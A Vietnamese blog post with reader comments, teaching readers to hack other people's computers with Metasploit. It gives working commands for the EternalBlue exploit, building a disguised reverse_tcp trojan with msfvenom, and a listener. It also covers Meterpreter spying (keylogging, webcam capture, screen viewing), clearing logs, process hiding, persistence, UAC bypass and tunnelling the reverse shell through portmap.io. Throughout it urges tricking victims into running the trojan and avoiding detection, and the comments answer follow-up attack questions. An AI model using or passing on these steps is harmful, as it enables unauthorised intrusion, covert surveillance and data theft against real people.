Hack máy tính người khác bằng Metasploit – Phần 1

Metasploit là bộ công cụ hack có sẵn trong các phiên bản linux như Kali linux, Backbox, … , nhằm tấn công và khai thác các lỗ hổng bảo mật trên các nền tảng khác nhau như windows, linux, website, cisco, … Bạn vẫn có thể cài Metasploit trên các hđh linux khác (tham khảo link này), có cả phiên bản dành cho Windows.

Có 2 hình thức khi sử dụng Metasploit:

  • Sử dụng các module để dò quét và tấn công vào lỗ hổng bảo mật của đối tượng.
  • Tạo mã độc (trojan), rồi bằng một cách nào đó truyền mã độc vào máy nạn nhân và nạn nhân kích hoạt nó.

Đánh vào lỗ hổng bảo mật phụ thuộc vào việc máy victim có để hổng lỗ nào hay ko. Nó có thể là những dịch vụ mạng mà tính bảo mật kém mà máy victim đang chạy. Dĩ nhiên máy victim mà bế quan toả cảng, ko mở port nào cả thì ta chẳng thể thâm nhập được từ bên ngoài.

Cài trojan đòi hỏi phải bằng cách một cách nào đó attacker truyền trojan và thực thi nó trên máy victim. Bạn phải trực tiếp mó tay vào máy nạn nhân, ví dụ “cho tao mượn máy vào mạng tí” hay “đưa máy đây tao cài win cho”; hoặc dụ nạn nhân tải và mở file độc hại ấy, ví dụ như bạn up lên fshare file có tên “tool-get-link-jav-hd.exe”, nạn nhân tưởng thật tải về rồi nhấn mở chạy, khi đó máy nạn nhân chính thức bị hack (để kế hoạch hoàn hảo hơn, tool ấy getlink được thật, nhưng đồng thời nó ngấm ngầm chạy mã độc).

Ngồi dò quét lỗ hổng tính khả thi thấp, bởi hầu hết các lỗ hổng định nghĩa trong Metasploit bây giờ đều đã có bản vá lỗi, bạn phải trông chờ vào việc cập nhật những module mới ra lò của Metasploit hoặc lấy từ nguồn bên ngoài mà trong thời gian hiện tại chưa có ai vá, hoặc xác suất nhỏ rằng máy nạn nhân “rỗ” tùm lum, ko update bản vá hay phần mềm đã lỗi thời. Cài trojan thì tính chủ động cao hơn, nhưng cũng rất dễ khiến bạn bị lộ mặt nếu nạn nhân ngoại suy ra những ai đã từng động vào máy của họ. Hay nói cách khác, tính khả thi của phương pháp này phụ thuộc vào nạn nhân có nghi ngờ hay ko. Phương pháp thứ nhất thì đảm bảo an toàn cho người tấn công hơn, vì nạn nhân ko hề hay biết (gọi là an toàn khi victim là người dùng phổ thông thôi, chứ bạn tấn công theo phương pháp nào cũng để lại dấu vết, phải đánh lạc hướng người truy dấu bằng cách giả mạo địa chỉ MAC hay ẩn danh qua mạng Tor hoặc VPN. Cách để bảo vệ bản thân khỏi sự truy dấu, mình sẽ đề cập sau).

Ok tạm hiểu cách thức hoạt động của 2 phương pháp trên như vậy đã. Bây giờ ta sẽ đi vào chi tiết tiến hành. Mình sẽ phân bài viết làm 2 phần tương ứng với 2 cách tấn công đó.

Tấn công dựa vào khai thác lỗ hổng bảo mật:

  1. Khởi động Metasploit bằng lệnh msfconsole . Ở nhiều bài viết mà mình tham khảo, ngta đề xuất chạy service postgresql start trước (postgresql là một phần mềm quản lý cơ sở dữ liệu, vì bộ công cụ của Metasploit tập hợp rất nhiều module nên phải chạy nó để việc tìm kiếm module dễ dàng hơn), mình thấy điều này cũng là cần thiết.
    Có một lưu ý là nếu đây là lần đầu tiên bạn chạy Metasploit, bạn nên chạy lệnh msfdb init trước để nó tạo database. Cập nhật của Metasploit thì khỏi lo vì địa chỉ kho cập nhật đã được khai báo trong repository của Kali linux (Backbox, Ubuntu), như vậy nó được cập nhật cùng với hệ thống thông qua lệnh apt-get update và apt-get upgrade; để cho chắc cú, bạn vẫn có lệnh msfupdate.
  2. Mỗi một lỗ hổng bảo mật được định nghĩa trong Metasploit thường có 2 module, một là cái auxiliary để quét xem máy victim có chứa lỗ hổng này ko, hai là exploit để khai thác điều đó.
    Mình lấy ví dụ với lỗ hổng bảo mật smb_ms17_010 nổi tiếng một thời sau vụ WannaCry, khi gõ lệnh tìm kiếm search [từ_khoá], bạn sẽ được đường dẫn dẫn tới các module đó. Dùng cái nào thì gõ lệnh use [đường_dẫn_module]. Mình thử với exploit của smb_ms17_010 nhé:
    use exploit/windows/smb/ms17_010_eternalblue
    Gõ tiếp show info để xem thông tin và các tuỳ chọn của nó.
    Screenshot_2017-09-29_21-35-27
    Hãy chú ý vào Available targets và Basic options. Lựa chọn nền tảng hệ điều hành của máy victim mà ta nhắm tới. Ở đây module này chỉ nhắm tới win7 và win server 2008, mặc định mã id target là 0. Nếu có nhiều lựa chọn target hơn, hãy set target [mã_id] để chọn nền tảng nhắm vào.
    Xem các giá trị ở cột Current Setting, thiếu hay cần thay đổi cái nào thì cấu hình cho nó theo cú pháp set [tên_option] [giá_trị]. Như ở hình trên, thiếu giá trị cho RHOST, đó là địa chỉ IP của máy victim, hay ProcessName, tên tiến trình trên máy victim mà ta gài payload vào, thích thì bạn đổi tên khác cũng đc, hay RPORT là port (cổng) mà ta muốn mở trên máy victim, đổi giá trị khác cũng dc, nhưng thôi để mặc định. Lưu ý ở cột Required, giá trị Yes tức là bắt buộc phải có.
    LHOST, LPORT, RHOST, RPORT là gì?
    LHOST: local host, là địa chỉ ip của máy attacker.
    LPORT: chọn lấy một cổng để Metasploit lắng nghe tín hiệu gửi về.
    RHOST: remote host, là địa chỉ ip của máy victim.
    RPORT: tương tự thì con trojan sẽ phát tín hiệu qua cổng này trên máy victim (LPORT và RPORT ko nhất thiết phải giống nhau, nhưng ta để giống nhau cho đỡ phải suy nghĩ nhiều).
  3. Xong thì gõ lệnh exploit để bắt đầu tấn công.
    (Nếu sau khi gõ exploit mà vài giây sau nó báo ConnectionTimeout có nghĩa là bạn đã ko thành công. Có thể máy nạn nhân ko tồn tại lỗ hổng đó, hoặc do bạn đặt các tham số chưa đúng)
    Nếu exploit thành công, bạn có thể can thiệp được vào máy victim với rất nhiều tuỳ chọn. Hai phương pháp đi theo hai con đường khác nhau, nhưng một khi thâm nhập vào máy nạn nhân rồi thì hành xử giống nhau thôi, nên mình sẽ trình bày tiếp sau phần chỉ dẫn phương pháp 2 dưới đây.

Tấn công dựa vào cài mã độc vào máy nạn nhân:

Tạm thời mình giới thiệu tạo payload bằng msfvenom có sẵn trong bộ Metasploit trước, những framework cũng tạo mã độc khác sẽ bổ sung sau.

  1. msfvenom -a x86 --platform windows -f exe -p windows/meterpreter/reverse_tcp lhost=[ip] lport=[cổng] -o [tên_file].exe
    với các tham số –platform nền tảng windows, -a hạ tầng áp dụng là 32 bit hay 64 bit, -f định dạng file xuất ra là exe, -p dùng loại payload nào, lhost là địa chỉ IP của máy mình, lport là cổng mở trên máy mình, -o là vị trí lưu kèm đặt tên file xuất ra. Ngoài ra còn có các tham số như -e lựa chọn kiểu mã hoá, -i là số lần mã hoá payload, -s là kích thước file xuất ra (nặng nặng xíu cho victim khỏi nghi ngờ, vì bình thường file payload xuất ra chỉ cỡ vài chục hay vài trăm kB). Để biết chi tiết hơn các option, gõ msfvenom -h
    Bàn chút về địa chỉ IP điền vào LHOST. Nếu bạn và victim chung một mạng LAN, hãy điền vào LHOST địa chỉ private IP, tức là địa chỉ có dạng 192.168.x.x. Kiểm tra private IP máy bạn bằng lệnh ifconfig. Nếu bạn muốn exploit victim qua internet, thì điền vào LHOST địa chỉ public IP. Xem public IP trên một số trang web như canyouseeme.org, whatismyip.com. Tuy nhiên hack ngoài mạng LAN rất khó khăn mà mình sẽ trình bày ở phần cuối bài viết.
  2. Mở một cửa sổ terminal khác, chạy msfconsole để khởi chạy Metasploit.
  3. use exploit/multi/handler
  4. set payload windows/meterpreter/reverse_tcp thiết lập kiểu payload mà bạn đã chọn để tạo file payload vừa rồi.
    Rồi cũng set lhost [ip], set lport [cổng] cho khớp với các tham số khi tạo trojan ban nãy.
  5. exploit để hóng kết nối về. Khi nạn nhân kích hoạt file payload của bạn và ko gặp trở ngại gì trên đường truyền, bạn sẽ nhận được thông báo “meterpreter session 1 opened”.
    Đôi khi bạn phải gõ thêm sessions -i [mã_phiên] để phiên làm việc meterpreter mở ra (lưu ý tuỳ vào mã số session trên thông báo mà nhập số đó cho option -i cho đúng).

Một số lệnh thông thường tác động vào máy victim một khi meterpreter được mở (thêm tuỳ chọn -h vào sau để biết chi tiết cú pháp):

  • help: xem tất cả các lệnh trong meterpreter kèm theo mô tả ngắn.
  • background: lệnh này đưa session (phiên làm việc) hiện tại về chế độ nền, tức là quay về dấu nhắc “msf >” nhưng vẫn đang hóng kết nối từ victim (khác với lệnh exit là nó thoát hẳn). Quay trở lại phiên làm việc đó (dấu nhắc “meterpreter >”) chỉ cần nhập lệnh sessions -i [mã_phiên]
  • cd, pwd và ls: cũng là những lệnh trỏ thư mục, xem đường dẫn thư mục hiện tại, liệt kê file trong thư mục y hệt như thao tác trên linux, nhưng khác là ta đang thao tác trên máy nạn nhân.
  • lcd và lpwd: ngược lại, 2 lệnh này thao tác trên máy attacker.
  • show_mount: hiển thị thông tin về các ổ đĩa của máy nạn nhân.
  • clearev: xoá các log ghi lại lịch sử hoạt động trên máy nạn nhân.
  • download : tải file từ victim về máy mình. Lưu ý dạng đường dẫn là của win.
  • upload : tải file từ máy mình lên victim.
  • edit : xem và chỉnh sửa file ngay trên dòng lệnh.
  • excute -f [file] : thực thi file nào đó trên máy nạn nhân. Có các tuỳ chọn như: -H (ẩn tiến trình để victim ko nhìn thấy), -h (mở help xem hướng dẫn).
  • ipconfig: xem địa chỉ private IP của máy victim.
  • ps: hiện danh sách các tiến trình đang chạy trên máy victim.
  • search: tìm kiếm file hoặc folder trên thư mục nhất định.
  • shell: chạy lệnh cmd trên máy victim.
  • keyscan_start: bắt đầu theo dõi nhập liệu từ bàn phím victim.
    keyscan_dump: hiển thị chuỗi ký tự thu được.
    keyscan_stop: dừng theo dõi bàn phím.
  • screenshot: chụp màn hình máy nạn nhân.
  • webcam_list: xem danh sách các webcam.
    webcam_snap: chụp ảnh từ webcam.
    webcam_stream: soi webcam.
    Có các tham số như: -h (help), -i mã_số_camera (nếu máy victim có 2 camera trở lên, ví dụ như điện thoại, hãy điền số chỉ đã được nêu trong webcam_list, mặc định là 1), -q phần_trăm (chất lượng ảnh jpeg xuất ra sau khi chụp), -p đường_dẫn (thay đổi nơi lưu file xuất ra cũng như tên file, mặc định nơi lưu là thư mục /home/tên_người_dùng hoặc /root, tên file thì đặt ngẫu nhiên).
    Lưu ý, khi thực hiện lệnh liên quan đến webcam này, đèn báo của webcam trên laptop sẽ sáng, nên nạn nhân có thể nghi ngờ. Điện thoại thì ko có đèn báo nên có vẻ như ko lo bị lộ.
  • migrate mã_pid: khi nạn nhân mở Task manager lên, hiển nhiên sẽ nhìn thấy file exe của bạn đang chạy. Để tránh bị lộ, bạn cần cấy file backdoor của bạn vào một tiến trình đang chạy khác. Khi đó tiến trình gốc mất đi, nhưng kết nối vẫn còn tồn tại nhờ mã đã ký sinh vào tiến trình bị nhiễm kia (lưu ý migrate chỉ giấu đi tiến trình xâm nhập, nếu tiến trình nhiễm bị tắt thì coi như mất kết nối). Để thực hiện được migrate, đòi hỏi bạn phải leo thang đặc quyền, xem phần dưới.
  • run vnc: xem trực tiếp những gì diễn ra trên desktop máy nạn nhân.
    Lưu ý là vnc viewer sẽ tạo ra một file exe, đẩy nó vào máy nạn nhân rồi thực thi nó, do đó nạn nhân mở Task manager lên sẽ thấy một file exe với tên lạ hoắc.
    Nếu điền thêm tham số -i, thay vì build ra file exe, nó sẽ nhúng vào một chương trình sẵn có trong máy, mặc định là notepad.exe . Nếu có tham số -i đi kèm với tham số -P tên_chương_trình , nó sẽ nhúng vào chương trình đó, ví dụ cmd.exe . Cẩn thận nhé, chương trình đó vẫn có thể hiện lên trước mắt nạn nhân và bị nạn nhân tắt péng đi, riêng cmd.exe thì chạy ẩn được.

Thiết lập persistence để cài vĩnh viễn và tự động kích hoạt trên máy victim:

Nếu để bình thường, bạn chỉ thâm nhập vào máy nạn nhân khi nạn nhân mở file trojan đó và mất kết nối khi bạn thoát khỏi phiên làm việc meterpreter hoặc nạn nhân tắt máy. Dù bạn có gõ lại lệnh exploit lần nữa hoặc nạn nhân khởi động lại máy, thì bạn ko thể điều khiển lại máy nạn nhân được nữa, trừ phi file mã độc kia được nạn nhân ngu ngơ mở lại lần nữa. Vì thế để payload liên tục gửi tín hiệu và attacker hứng kết nối lúc nào cũng đc, bạn cần chạy persistance. Sau khi thâm nhập thành công và hiện dấu nhắc “meterpreter >”, hãy gõ lệnh sau:
run persistence -S -i 60 -p [cổng] -r [ip]
Khi đó payload sẽ tạo ra file .vbs mặc định được lưu vào trong đường dẫn C:\Users\tên_người_dùng\AppData\Local\Temp và chèn thuộc tính autorun vào registry HKCU(hay HKLM)\Software\Microsoft\Windows\CurrentVersion\Run\ . Các tham số như: -i (cách bao nhiêu giây thì phát tín hiệu một lần), -A (tự động kết nối với use multi/handler), -L đường_dẫn (nơi lưu file vbs, nếu ko muốn lưu theo đường dẫn mặc định kia), -P (loại payload được dùng, mặc định là windows/meterpreter/reverse_tcp), -S (tự động chạy khi máy khởi động và chạy như một service), -U (tự động chạy với tài khoản người dùng), -X (tự động chạy với mọi tài khoản), -h (mở help xem hướng dẫn).

Leo thang đặc quyền (Privilege Escalation): khi bạn thâm nhập vào máy victim, mọi hành động của bạn là đang dùng quyền của tài khoản user đang đăng nhập, nếu thực thi những yêu cầu đòi hỏi phải có quyền administrator, bạn sẽ gặp thông báo “access is denied” và ko thực hiện được. Do đó cần leo thang đặc quyền để thực thi hành động với quyền quản trị cao nhất.

  1. Tại dấu nhắc “msf >”, gõ lệnh:
    use exploit/windows/local/bypassuac
  2. set session [mã_phiên]: nhập mã phiên làm việc hiện tại.
    set target [giá_trị]: mặc định giá trị là 0 tuơng ứng với kiến trúc 32bit.
  3. run

Để kiểm tra xem bạn thực hiện leo thang đặc quyền thành công hay chưa, trở lại phiên session, ở dấu nhắc meterpreter, gõ lệnh getuid, nếu nó hiện Server username là Authority/System thì ok, nếu chưa thì chạy lệnh getsystem , rồi kiểm tra lại bằng getuid .

Những vấn đề gặp phải khi thực hiện tấn công ngoài mạng LAN và cách giải quyết:

Thứ nhất là bạn cần phải đăng nhập vào được router và thực hiện NAT Port (hay còn gọi Port Forwarding, là cho phép thiết bị nào trong mạng được tự do trao đổi dữ liệu ra bên ngoài qua cổng nào, và trả về bằng cổng nào). Mỗi router có cách NAT port khác nhau, bạn nên gg search trước. Còn vấn đề làm sao đăng nhập vào router? Mở trình duyệt gõ địa chỉ 192.168.1.1 (thường là thế). Nếu router là của bạn mua thì khỏi bàn, nhưng nếu bạn chỉ là kẻ xài ké, hãy hy vọng rằng chủ sở hữu chưa đổi pass. Các router thông thường thường có user lẫn pass là “admin”, trừ Dlink pass để trống, DrayTek pass “1234”. Cũng cần lưu tâm đến chuyện bên ngoài router của bạn còn router khác nữa, nghĩa là bạn phải NAT port cho cả hai router sao cho thông suốt một lối đi.

Điều thứ hai là địa chỉ public IP luôn thay đổi, mỗi lần bạn kết nối vào internet, ISP (Internet Service Provider – nhà cung cấp dịch vụ internet) lại cấp cho bạn IP mới. Bạn có thể sử dụng các dịch vụ dynamicDNS miễn phí như noip.com, nó làm 2 việc: cung cấp một tên miền cố định, và liên kết tới máy bạn để lấy địa chỉ public IP. Như vậy bạn điền tên miền đó vào LHOST, dịch vụ sẽ phân giải tên miền ra public IP hiện tại của bạn (kiểu như bạn cứ điền chức danh “lớp trưởng” vào LHOST, còn giáo viên sẽ làm dDNS phân giải “lớp trưởng” là tên đứa nào trong lớp).

Thực tế rất hay gặp trường hợp mạng lồng mạng, rất khó để có thể cấu hình con router ở cấp bên ngoài, đã thế cấu hình lằng nhằng rồi lại hoá hư vô. May thay, chúng ta có cách giải quyết đơn giản và dễ dàng hơn nhiều, đó là sử dụng VPN (Virtual Private Network – mạng riêng ảo). VPN cho phép bạn thiết lập một kết nối riêng tư (gọi là tunnel – đường hầm) với máy chủ VPN mà ko cần bận tâm ở giữa là gì. Giới thiệu với các bạn trang portmap.io . Chỉ với tài khoản miễn phí, bạn đã có thể sử dụng dịch vụ VPN ko giới hạn thời gian, chỉ giới hạn một quy tắc kết nối.

Các bạn làm theo các bước như sau:
Sau khi đăng ký tài khoản, bạn vào Configurations (1) rồi chọn Create new (2).
screenshot1
Đặt tên (3), chọn phuơng thức kết nối (4) bằng OpenVPN hay bằng SSH, giao thức (5) (nên chọn UDP), sau đó nhấn vào Generate (6), nút Generate sẽ mất đi và thay bằng Download (7), nhớ download về trước khi đồng ý Create (8). Câu lệnh trong khung vuông bên phải chính là lệnh để nạp file cấu hình vừa tải về cho OpenVPN, lát nữa chúng ta sẽ dùng.
screenshot2
Sau khi tạo xong Configuration thì chuyển qua thiết lập quy tắc kết nối Mapping Rules (9) rồi chọn Create new (10).
screenshot3
Tại đây, bạn chọn giao thức (11) là TCP (chỗ này nên chọn TCP), chọn cổng trên máy của bạn mà máy chủ VPN sẽ giao tiếp tới (12), rồi Create (13) là xong.
screenshot4
Cấu hình xong bạn sẽ có được kết quả như thế này. Hãy ghi lại thông tin mà mình đóng khung. Trong đó “TVH95-57592.portmap.io” là tên miền của máy chủ VPN, “57592” là port mà máy chủ hứng kết nối. Đây là 2 thông tin quan trọng mà chúng ta sẽ sử dụng để tạo file payload.
screenshot5

Bây giờ chúng ta bắt đầu thực hiện tấn công:
Đầu tiên, chạy OpenVPN với file cấu hình vừa tải về để thực hiện kết nối với máy chủ VPN.
screenshot6
Sau đó chạy lệnh ifconfig để xem thông tin các giao tiếp mạng (interface) trên máy. Hãy ghi lại địa chỉ IP mình đóng khung ở đây, của interface tun0. Đây chính là địa chỉ IP mà máy chủ VPN cấp phát cho bạn.
screenshot7
Mô hình tấn công của chúng ta ở đây là payload được thực thi trên máy victim, sẽ gửi tín hiệu tới máy chủ VPN, rồi máy chủ gửi lại tín hiệu đó qua đường hầm tới máy attacker. Như vậy, khi tạo file trojan này, giá trị của LHOST và LPORT sẽ là tên miền và cổng đang mở của máy chủ VPN. Và khi máy attacker nghe tín hiệu từ máy chủ gửi về, giá trị LHOST và LPORT sẽ là địa chỉ mà bạn lấy ở interface tun0 và cổng mà bạn quy định từ lúc cấu hình trên portmap.
screenshot8screenshot9

20 bình luận về “Hack máy tính người khác bằng Metasploit – Phần 1

Add yours

    1. Bạn thực hiện dò quét địa chỉ IP cũng như các dịch vụ đang chạy của victim trước. Mình sẽ viết bài trình bày các kỹ thuật dò quét sau. Nếu bạn có giáo trình CEH, bạn có thể đọc trước.
      Ngoài ra bạn có thể tìm hiểu phần mềm Armitage. Nó là sự kết hợp của Metasploit và Nmap, có giao diện, và tự động hoá, nên sử dụng dễ dàng hơn.
      https://www.linuxteamvietnam.org/2016/11/armitage-cong-cu-huu-ich-cho-nhung-ai.html

      Thích

  1. mình muốn hỏi bạn chút là mình thiết lập run persistence voi ip của portmap.io có được không bạn
    vd: run persistence -S -i 60 -p 5364 -r abci-5364.portmap.io
    bạn giúp mình.

    Thích

  2. Mình ko hiểu lắm về tấn công ngoài mạng clan “Cũng cần lưu tâm đến chuyện bên ngoài router của bạn còn router khác nữa, nghĩa là bạn phải NAT port cho cả hai router sao cho thông suốt một lối đi.”là mình có cần cài trên router cua victim ko hay là sao bạn giải thick hộ….(MONG BẠN TRẢ LỜI SỚM THANKS)

    Thích

    1. Máy tính trong mạng LAN ko trực tiếp truyền thông ra bên ngoài, mà phải thông qua một địa chỉ đại diện, đó chính là default gateway. Ví dụ có 2 máy là máy A và máy B, cùng trong mạng thiết lập bởi router R, cùng gửi gói tin tới domain C. A và B sẽ gửi gói tin cho R, và các gói tin đó dưới danh nghĩa của R được gửi cho C. Vậy C có biết được gói nào là của A, gói nào của B ko? Không, nó chỉ biết rằng các gói tin là của R gửi, nó nhận rồi gửi trả phản hồi cho R là xong. Về đến tay R, R mới phân phát các gói tin phản hồi tương ứng cho thằng nào gửi yêu cầu trước đó.
      Hay có thể hiểu đơn giản, một gói tin gửi đi thì nó ko còn mang danh nghĩa cá nhân nữa, mà mang danh nghĩa của người đại diện. Đó chính là tính chất bảo mật của mạng cục bộ (LAN).
      NAT port chính là hành động bỏ qua tư cách đại diện của router. Theo lẽ thông thường, có request thì mới có reply. Trong tình huống này, bạn sử dụng payload kiểu reverse, tức là victim là người phát, attacker là người nghe. Bạn là attacker, có gửi request quái đâu, nên khi router nhận được reply, làm sao biết reply này dành cho ai? NAT port sẽ quy định một địa chỉ IP trong mạng và một cổng, gói tin nào từ bên ngoài được gửi tới cổng đó thì tự động chuyển tới địa chỉ này luôn, cụ thể ở đây là địa chỉ của attacker.
      Thực tế nhiều trường hợp, mạng của bạn chỉ là một thành viên trong một mạng khác. Mình lấy ví dụ thế này, bạn là một sinh viên ở trọ, con laptop của bạn kết nối với một router wifi, mà cục wifi đó kết nối với router tổng của bác chủ nhà. Vậy thì cho dù bạn có nat port ở con router wifi, bạn vẫn cần phải nat port con router của bác chủ. Bạn có thể đăng nhập mà thay đổi cấu hình con router của bác chủ ko? Bạn có chắc rằng nó là thiết bị tổng duy nhất? Đây là 2 vấn đề mà bạn cần phải giải quyết khi nghĩ đến chuyện nat port, đấy là chưa kể vấn đề thứ 3, đó là cố định địa chỉ IP, như mình đã nêu trong bài viết. Nói chung nat port chỉ thích hợp khi tấn công trong mạng WAN thôi. WAN là mạng kết nối nhiều mạng LAN với nhau, rộng hơn LAN nhưng vẫn có tính chất nội bộ, chưa cần kết nối ra internet. Mô hình mạng nhà trọ là một ví dụ cho mạng WAN.

      Thích

    2. Để mình nói thêm về 2 hình thức truyền thông của payload. Một là bind, attacker đóng vai trò là người gửi, victim là người nghe; hai là reverse, tức là theo chiều ngược lại. Sở dĩ các tut hướng dẫn trên mạng đều chọn hình thức reverse vì nó khả thi hơn rất nhiều so với bind. Với hình thức truyền thông reverse, victim là người phát, victim có thể gửi gói tin tới tận con router của bạn qua internet, và bạn là attacker chỉ cần nat port là nhận được gói tin này. Nhưng với hình thức bind, bạn phải nat port được cho router ở phía victim, điều này là không tưởng. Cho nên hình thức bind chỉ sử dụng được trong mạng LAN thôi, vì attacker và victim nằm cùng mạng, chả cần nat port làm gì cả.

      Thích

  3. mình làm theo hướn dẫn của bạn dùng portmap.io đã kết nối thành công với victim.
    nhưng mình muốn leo thang đặc quyền , mình đã dùng exploit bypassuac lúc này mình set lhost với lport là cái nào?
    tets-1-54272.portmap.io
    hay là tune0 ma portmap.io cấp cho mình 10.8.25.30
    bạn giúp giùm.

    Thích

    1. Máy chủ VPN đóng vai trò trung gian giữa attacker và victim. Victim kết nối với máy chủ VPN bằng tên miền “*.portmap.io” và cổng mà bạn cài đặt trên trang portmap. Attacker thì kết nối với máy chủ VPN bằng địa chỉ đường hầm mà máy chủ VPN cấp phát cho máy attacker. Tóm lại, khi bạn nhập tham số để cài đặt trojan, giá trị lhost của trojan là “*.portmap.io”; còn khi bạn nhập tham số để cấu hình cho máy bạn lắng nghe kết nối, giá trị lhost của máy là cái inet của tune0 đó.
      Cụ thể trong trường hợp này, bạn chạy exploit tức là bạn tạo thêm một con trojan nữa để thực hiện leo thang đặc quyền, thế thì nhập lhost là địa chỉ “*.portmap.io”.

      Thích

    1. Trước hết cần phân biệt 2 cách thức tấn công. Nếu trojan nằm sẵn trong máy nạn nhân và thực thi tại máy nạn nhân, nó sẽ mở cổng kết nối mà ko bị tường lửa chặn. Nếu bạn tấn công theo cách tìm lỗ hổng bảo mật và truyền trojan vào, tức tấn công từ ngoài vào, đôi khi cổng đó mở, nhưng đứng đằng sau có tường lửa chặn, thì ko thể tấn công bằng lỗ hổng bảo mật đó được. Bạn phải tìm lỗ hổng khác, hoặc tìm phương pháp tấn công khác. Lỗ hổng bảo mật còn tùy vào các phần mềm hay dịch vụ đang chạy trên máy victim.

      Thích

      1. Cảm ơn bạn !! Mình đang tìm hiểu về kali linux, mình có vài vài vấn đề muốn hỏi bạn ấy, mình xin fb được k nhỉ ?

        Thích

  4. Nếu gửi file trojan cho nhiều máy khác nhau, thì có quyền điều khiển hết các máy đó không hay chỉ điều khiển được 1 máy duy nhất?
    Nếu bật persistence thì khi shutdown máy attacker r khởi động lại vẫn còn exploit được máy đó ko v ạ?

    Thích

    1. Với mỗi kết nối, bên lắng nghe, tức bên attacker, sẽ tạo một phiên làm việc (session) riêng để giao tiếp riêng với thiết bị chạy file trojan đó. Bên lắng nghe sẽ quản lí hết các kết nối, nhưng tại một cửa sổ làm việc bạn chỉ làm việc với một kết nối thôi. Đó là lí do vì sao bạn phải chọn “session -i [mã_phiên]” sau khi exploit thành công.
      Persistence là thiết lập cho trojan ở bên victim tự động khởi động theo hệ thống và phát tín hiệu liên tục, thế nên bên attacker lắng nghe lúc nào cũng được.

      Thích

Bình luận về bài viết này

Trang web này sử dụng Akismet để lọc thư rác. Tìm hiểu cách xử lý bình luận của bạn.

Tạo một blog miễn phí với WordPress.com.

Up ↑

Craftsmanship

Everything in software architecture is a trade-off.

Make It Awesome

🍓🍓🍓 The fragrance always stays in the hand that gives the rose 🍓🍓🍓

Lược Sử Tộc Việt

Chuyên trang khảo cứu về nguồn gốc người-Việt, nguồn gốc cộng đồng tộc-Việt, thời kỳ tiền-Việt và nền văn minh Việt-cổ. Trên con thuyền hướng về Cội-Nguồn.

Nghiên Cứu Lịch Sử

Các bài nghiên cứu, biên khảo và dịch thuật các chủ đề về lịch sử

Codeaholicguy

head of engineering @ ShopBack, thoughtful software engineer, blogger

Blog của Chiến

Học. Thực hành. Sáng tạo

Kho tài liệu y khoa

Chia sẻ tài liệu, kiến thức y khoa

Từ coder đến developer - Tôi đi code dạo

Lập trình viên giỏi không phải chỉ biết code

Quyen Vu

Góc nhỏ của Quyền